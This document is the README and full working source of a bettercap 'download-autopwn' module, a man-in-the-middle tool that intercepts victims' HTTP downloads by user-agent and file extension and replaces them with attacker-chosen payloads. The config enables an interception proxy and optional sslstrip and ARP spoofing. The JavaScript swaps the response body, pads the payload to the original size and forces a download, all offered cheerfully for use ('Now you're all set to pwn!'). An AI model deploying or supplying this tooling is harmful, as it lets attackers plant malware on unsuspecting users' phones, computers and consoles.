caplets/download-autopwn

caplets/download-autopwn.cap

Everything is configurable in the download-autopwn.cap file.

# documentation can be found at https://github.com/bettercap/caplets/blob/master/download-autopwn/README.md
# 
# this module lets you intercept very specific download requests and replaces the payload with one of your choice
#
# in order for a download to get intercepted:
#    1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value
#    2. the requested file must match one of the downloadautopwn.extensions.x file extensions
#
# you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own)
#

# choose the devices from which downloads get pwned (enter the dir names of choice from caplets/download-autopwn/)
# (or feel free to add your own)
set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox

# choose the regexp value that the victim's User-Agent has to match
# (feel free to add your own)
set downloadautopwn.useragent.android  Android
set downloadautopwn.useragent.ios      iPad|iPhone|iPod
set downloadautopwn.useragent.linux    Linux
set downloadautopwn.useragent.macos    Intel Mac OS X 10_
set downloadautopwn.useragent.ps4      PlayStation 4
set downloadautopwn.useragent.windows  Windows|WOW64
set downloadautopwn.useragent.xbox     Xbox

# choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in caplets/download-autopwn/.../)
# (again, you can add as many as you want)
# make sure the payload files exist and that they are all named "payload" (for example: payload.exe)
set downloadautopwn.extensions.android  apk,pdf,sh,pfx,zip
set downloadautopwn.extensions.ios      ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip
set downloadautopwn.extensions.linux    c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip
set downloadautopwn.extensions.macos    app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip
set downloadautopwn.extensions.ps4      disc,pup,pdf,doc,docx,zip
set downloadautopwn.extensions.windows  exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip
set downloadautopwn.extensions.xbox     exe,msi,jar,pdf,doc,docx,zip

# choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false)
set downloadautopwn.resizepayloads true

# set download-autopwn.js as proxy script
set http.proxy.script caplets/download-autopwn.js
# uncomment if you want sslstrip enabled
# set http.proxy.sslstrip true
# start proxy
http.proxy on

# wait for everything to start properly
sleep 1

# uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing)
# arp.spoof on

The downloadautopwn.devices variable accepts comma separated values.
These values are the folder names inside the caplets/download-autopwn/ directory.

The downloadautopwn.useragent.x variables accept a regular expression value (where x is the device name).
The victim's User-Agent string has to match this regex value.

The downloadautopwn.extensions.x variables accept comma separated file extensions that are present in the device's folder (where x is the device name).
These files must be present in the device's folder, and they must be called payload (for example: payload.exe).

The downloadautopwn.resizepayloads variable accepts a boolean value (default=false).
If this value is set to true, your payloads will be resized to match the requested file's size (unless your payload is bigger or equal to the requested file's size).

caplets/download-autopwn.js

No changes should have to be made in the download-autopwn.js file.

var targets = {}

var nullbyte = "\u0000"

var green   = "\033[32m",
    boldRed = "\033[1;31m",
    onRed   = "\033[41m",
    reset   = "\033[0m",
    redLine = "\n  " + onRed + " " + reset

function onLoad() {
	devices = env("downloadautopwn.devices").split(",")
	logStr = ""
	for (var i = 0; i < devices.length; i++) {
		item = {
			"device": devices[i],
			"useragent": env("downloadautopwn.useragent." + devices[i]),
			"extensions": env("downloadautopwn.extensions." + devices[i]).toLowerCase().split(",")
		}
		targets[i] = item
		logStr += "\n  " + green + targets[i]["device"] + reset +
		          "\n    User-Agent: " + targets[i]["useragent"] + 
		          "\n    Extensions: " + targets[i]["extensions"] + "\n"
	}
	log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr)
}

function onResponse(req, res) {
	// First of all check whether the requested path might have an extension (to save cpu)
	var requestedFileName = req.Path.replace(/.*\//g, "")
	if ( requestedFileName.indexOf(".") != -1 ) {
		var userAgent = req.GetHeader("User-Agent", ""),
		    extension,
		    headerCount = req.Headers.length
		// Iterate through targets
		for ( var t = 0; t < Object.keys(targets).length; t++ ) {
			// Check if User-Agent is a target
			regex = new RegExp(targets[t]["useragent"])
			if ( userAgent.match(regex) ) {
				// Iterate through target extensions
				for (var e = 0; e < targets[t]["extensions"].length; e++) {
					// Check if requested path contains a targeted extension
					// function endsWith() could be a nice simplification here
					if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) {
						extension = targets[t]["extensions"][e]
						// Autopwn
						logStr = "\n" + redLine + "  Autopwning download request from " + boldRed + req.Client.IP + reset + 
						         redLine + 
						         redLine + "  Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset + 
						         redLine + 
						         redLine + "  Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..."
						// Check requested file size
						requestedFile = res.ReadBody()
						requestedFileSize = requestedFile.length
						payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension)
						payloadSize = payload.length
						logStr += redLine + "  The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" + 
						          redLine + "  The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" + redLine
						// Append nullbytes to payload if resizing is enabled and if requested file is larger than payload
						if ( env("downloadautopwn.resizepayloads") == "true" && requestedFileSize > payloadSize ) {
							logStr += redLine + "  Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..."
							sizeDifference = requestedFileSize - payloadSize
							nullbyteString = Array(sizeDifference + 1).join(nullbyte)
							payload += nullbyteString
						}
						// Set Content-Disposition header to enforce file download instead of in-browser preview
						res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"")
						// Update Content-Length header in case our payload is larger than the requested file
						res.SetHeader("Content-Length", payload.length)
						logStr += redLine + "  Serving your payload to " + boldRed + req.Client.IP + reset + "...\n"
						log(logStr)
						res.Body = payload
					}
				}
			}
		}
	}
}

Now you're all set to pwn!

What it looks like when you have configured a crazy amount of payloads

What it looks like when you pwn someone's download >:-)

Have fun!